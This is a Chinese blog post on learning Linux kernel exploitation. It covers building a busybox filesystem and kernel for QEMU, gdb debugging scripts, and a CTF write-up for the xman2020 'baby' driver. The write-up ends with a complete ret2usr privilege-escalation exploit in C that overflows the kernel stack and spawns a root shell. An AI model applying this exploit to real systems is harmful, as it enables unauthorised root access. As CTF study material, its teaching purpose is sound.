nyyyddddn

尝试编译kernel和文件系统

2024/03/31

learn about kernel pwn

尝试编译kernel和文件系统,使用qemu启动

step1:make filesystem (compile busybox)

https://ctf-wiki.org/pwn/linux/kernel-mode/environment/qemu-emulate/#_3

下载busybox编译

1
2
3
4
5
6
wget https://busybox.net/downloads/busybox-1.32.1.tar.bz2
tar -jxf busybox-1.32.1.tar.bz2

make menuconfig // 在Setting中把build static binay勾选 静态链接
make -j4
make install

在make install后可以看到busybox文件夹中多出来一个_install 文件夹, _install文件夹中有

1
2
lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/busybox-1.32.1/_install$ ls
bin linuxrc sbin usr

创建必要的文件夹

1
2
3
lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/busybox-1.32.1/_install$ mkdir -p  proc sys dev etc/init.d
lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/busybox-1.32.1/_install$ ls
bin dev etc linuxrc proc sbin sys usr

在根目录下创建init文件,文件系统初始化的时候会调用这个文件

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh

打包成cpio文件

1
find . | cpio -o --format=newc > ../rootfs.cpio

cpio解压的命令

1
cpio -idmv < rootfs.img

step2:download & compile kernel

https://ctf-wiki.org/pwn/linux/kernel-mode/environment/build-kernel/

缺少证书报错的解决方法 https://blog.csdn.net/m0_47696151/article/details/121574718

https://mirrors.tuna.tsinghua.edu.cn/kernel/中下载kernel

1
2
lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/level1$ file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 4.19.0 (bird@ubuntu18) #1 SMP Thu Nov 1 16:50:59 CST 2018, RO-rootFS, swap_dev 0X8, Normal VGA

解压并编译内核,缺少证书的话上面有解决方法

1
2
3
tar -xzvf linux-4.19.1.tar.gz
make menuconfig // 直接save 生成.config配置文件
make -j4 bzImage

编译成功后的信息

1
2
3
4
Setup is 17148 bytes (padded to 17408 bytes).
System is 8445 kB
CRC b1100637
Kernel: arch/x86/boot/bzImage is ready (#1)

step3: write a script to start qemu

这篇文章中有对一些常见的qemu参数的解释

https://lantern.cool/note-pwn-kernel-environment/

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64 2>/dev/null

ctf challenge

常用命令:

1
2
3
4
5
6
7
lsmod 查看已经安装的驱动
insmod 安装驱动

cat /proc/modules 查看当前加载模块的地址 信息

grep prepare_kernel_cred /proc/kallsyms 从内核符号表中查找符号
grep commit_creds /proc/kallsyms

xman2020 level1

https://bbs.kanxue.com/thread-276403.htm

https://xz.aliyun.com/t/7625?time__1311=n4%2BxnD0G0%3DG%3Dn4Gwx05%2B4oiitG8FerYi4D&alichlgref=https%3A%2F%2Fxuanxuanblingbling.github.io%2F

https://blingblingxuanxuan.github.io/2022/12/25/22-12-15-ways-to-debug-linuxkernel/#%E8%B0%83%E8%AF%95%E6%96%B9%E6%B3%95

gdb千万不要用pwndbg插件,要用gef去插件去调试,pwndbg调试会有各种奇奇怪怪的问题

本地调试的话,每次开启调试都要做一些设置比较繁琐,最好写几个批处理文件用于调试

pack.sh 用于编译exp,将exp打包进文件系统中

1
2
3
4
5
musl-gcc -static -O2 exp.c -o exp
cp ./exp ./initramfs_content/home/pwn/exp
cd ./initramfs_content
find . | cpio -o --format=newc > ../initramfs.cpio
cd ..

startvm.sh 用于启动qemu,其中 -s参数的意思是

1
-s              shorthand for -gdb tcp::1234
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64 2>/dev/null \
-s

debug.sh 用于初始化gdb开启调试,其中baby.ko需要设置一下基地址,然后 b *(0xffffffffc0002000 + 0x24) 这个断点是题目逻辑中调用copy from user时候的地址

1
2
3
4
5
6
7
gdb -q \
-ex "file vmlinux" \
-ex "add-symbol-file baby.ko 0xffffffffc0002000" \
-ex "add-symbol-file exp" \
-ex "b *(0xffffffffc0002000 + 0x24)" \
-ex "target remote :1234" \
-ex "c"

查看模块基地址的命令

1
2
/home/pwn # cat /proc/modules
baby 16384 0 - Live 0xffffffffc0002000 (POE)

题目如果没有给 vmlinux 这个文件的话, 可以用extract-vmlinux.sh这个脚本从bzimage中提取vmlinux符号

使用方法,可以把这个脚本放在/usr/bin目录下

1
./extract-vmlinux ./bzImage > ./vmlinux

extract-vmlinux.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

上面的脚本使用方法是,写好exp.c后运行pack把exp编译好打包进文件系统里,然后startvm启动qemu,debug.sh去连接qemu并且在 题目定义的驱动中下一个断点,然后再qemu中运行exp这个二进制文件,这时候gdb就会在题目的逻辑那断下来,就可以开始在gdb上调试了

题目的逻辑是这样的

init_module是一个特殊的函数名,使用insmod去把这个程序加载到内核中的时候,这个函数会被调用,作用和main函数差不多的,misc_register是注册一个字符设备,字符设备以字符为单位进行读写的操作

1
2
3
4
5
__int64 init_module()
{
_fentry__();
return misc_register(&off_120);
}

然后 这个是这个字符设备名称叫baby

1
2
3
4
5
6
7
8
9
10
11
12
data:0000000000000120
.data:0000000000000120 ; Segment type: Pure data
.data:0000000000000120 ; Segment permissions: Read/Write
.data:0000000000000120 _data segment align_32 public 'DATA' use64
.data:0000000000000120 assume cs:_data
.data:0000000000000120 ;org 120h
.data:0000000000000120 FF 00 00 00 00 00 00 00 off_120 dq offset unk_FF ; DATA XREF: init_module+6↑o
.data:0000000000000120 ; cleanup_module+6↑o
.data:0000000000000128 7F 00 00 00 00 00 00 00 dq offset aBaby ; "baby"
.data:0000000000000130 80 01 00 00 00 00 00 00 dq offset off_180
.data:0000000000000138 00 00 00 00 00 00 00 00 00 00+align 80h
.data:0000000000000180 80 02 00 00 00 00 00 00 off_180 dq offset __this_module ; DATA XREF: .data:0000000000000130↑oxxxxxxxxxx data:0000000000000120.data:0000000000000120                               ; Segment type: Pure data.data:0000000000000120                               ; Segment permissions: Read/Write.data:0000000000000120                               _data segment align_32 public 'DATA' use64.data:0000000000000120                               assume cs:_data.data:0000000000000120                               ;org 120h.data:0000000000000120 FF 00 00 00 00 00 00 00       off_120 dq offset unk_FF               ; DATA XREF: init_module+6↑o.data:0000000000000120                                                                       ; cleanup_module+6↑o.data:0000000000000128 7F 00 00 00 00 00 00 00       dq offset aBaby                         ; "baby".data:0000000000000130 80 01 00 00 00 00 00 00       dq offset off_180.data:0000000000000138 00 00 00 00 00 00 00 00 00 00+align 80h.data:0000000000000180 80 02 00 00 00 00 00 00       off_180 dq offset __this_module         ; DATA XREF: .data:0000000000000130↑o__int64 __fastcall sub_0(__int64 a1, int a2){ __int64 v2; // rbp __int64 v3; // rdx _QWORD v5[17]; // [rsp-88h] [rbp-88h] BYREF _fentry__(); if ( a2 != 24577 )   return 0LL; v5[16] = v2; return (int)copy_from_user(v5, v3, 256LL);}

往下看可以发现这个字符设备的处理函数在这里

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_0(__int64 a1, int a2)
{
__int64 v2; // rbp
__int64 v3; // rdx
_QWORD v5[17]; // [rsp-88h] [rbp-88h] BYREF

_fentry__();
if ( a2 != 24577 )
return 0LL;
v5[16] = v2;
return (int)copy_from_user(v5, v3, 256LL);
}

和字符设备交互,使用 <sys/ioctl.h> 中的 ioctl() 函数,查看ioctl函数的定义并且结合题目中字符设备处理函数可以发现 a1 a2 a3 正好是对应ioctl的三个参数,a2要 == 24577才能往下走,然后copy_from_user的第二个参数是一个用户态的指针,所以使用ioctl的时候 第二个参数的值要 == 24577 第三个参数的值是一个指针

1
2
extern int __ioctl_time64 (int __fd, unsigned long int __request, ...) __THROW;
# define ioctl __ioctl_time64

然后copy from user这里存在一个内核栈溢出,题目没有开启smep smap 以及kaslr的保护,可以使用ret2usr

https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2usr/#:~:text=%E9%80%9A%E5%B8%B8%20CTF%20%E4%B8%AD%E7%9A%84%20ret2usr%20%E8%BF%98%E6%98%AF%E4%BB%A5%E6%89%A7%E8%A1%8C%20commit_creds%20%28prepare_kernel_cred,%28NULL%29%29%20%E8%BF%9B%E8%A1%8C%E6%8F%90%E6%9D%83%E4%B8%BA%E4%B8%BB%E8%A6%81%E7%9A%84%E6%94%BB%E5%87%BB%E6%89%8B%E6%B3%95%EF%BC%8C%E4%B8%8D%E8%BF%87%E7%9B%B8%E6%AF%94%E8%B5%B7%E6%9E%84%E9%80%A0%E5%86%97%E9%95%BF%E7%9A%84%20ROP%20chain%EF%BC%8Cret2usr%20%E5%8F%AA%E9%9C%80%E6%88%91%E4%BB%AC%E8%A6%81%E6%8F%90%E5%89%8D%E5%9C%A8%E7%94%A8%E6%88%B7%E6%80%81%E7%A8%8B%E5%BA%8F%E6%9E%84%E9%80%A0%E5%A5%BD%E5%AF%B9%E5%BA%94%E7%9A%84%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88%E3%80%81%E8%8E%B7%E5%8F%96%E7%9B%B8%E5%BA%94%E5%87%BD%E6%95%B0%E5%9C%B0%E5%9D%80%E5%90%8E%E7%9B%B4%E6%8E%A5%20ret%20%E5%9B%9E%E5%88%B0%E7%94%A8%E6%88%B7%E7%A9%BA%E9%97%B4%E6%89%A7%E8%A1%8C%E5%8D%B3%E5%8F%AF%E3%80%82

ret2usr的攻击方式是,在内核中执行 commit_creds(prepare_kernel_cred(NULL)) 这个函数调用,把当前进程的cred结构体替换成root权限的cred结构体提权,然后使用swapgs 和 iret去切换到用户态,执行用户态中text段的system(/bin/sh),这样就有root权限的shell了

iret这个指令需要保证栈布局为,所以,在和字符设备交互前,需要把用户态下的段寄存器 flag寄存器保存一下

1
2
3
4
5
rsp --> user_rip
--> user_cs_register
--> user_flag_register
--> user_sp_register
--> user_ss_register

其中user_rip这个位置可以写执行system binsh函数调用的地址

prepare_kernel_cred commit_creds这两个是内核中的函数,可以通过这两条命令去找他的地址,需要在root权限下才能找到,kallsyms这个文件存放着内核相关的符号,因为题目没有开启kaslr,所以prepare_kernel_cred 和 commit_creds 的地址的固定的,然后关于cred结构体上面的连接有介绍

1
2
grep prepare_kernel_cred  /proc/kallsyms 从内核符号表中查找符号
grep commit_creds /proc/kallsyms

然后关于at&t的汇编 https://www.cnblogs.com/wingsummer/p/16305622.html 这里有一篇文章

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0;

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_usermode_status() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}


void get_shell()
{
system("/bin/sh");
}


void payload()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $get_shell;"
"swapgs;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}


int main() {

void *buf[0x100];
save_usermode_status();
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] Failed to open driver\n");
exit(-1);
}
for(int i=0; i<0x100; i++) {
buf[i] = &payload;
}

ioctl(fd, 0x6001, buf);
}
CATALOG
  1. 1. 尝试编译kernel和文件系统,使用qemu启动
    1. 1.1. step1:make filesystem (compile busybox)
    2. 1.2. step2:download & compile kernel
    3. 1.3. step3: write a script to start qemu
  2. 2. ctf challenge
    1. 2.1. xman2020 level1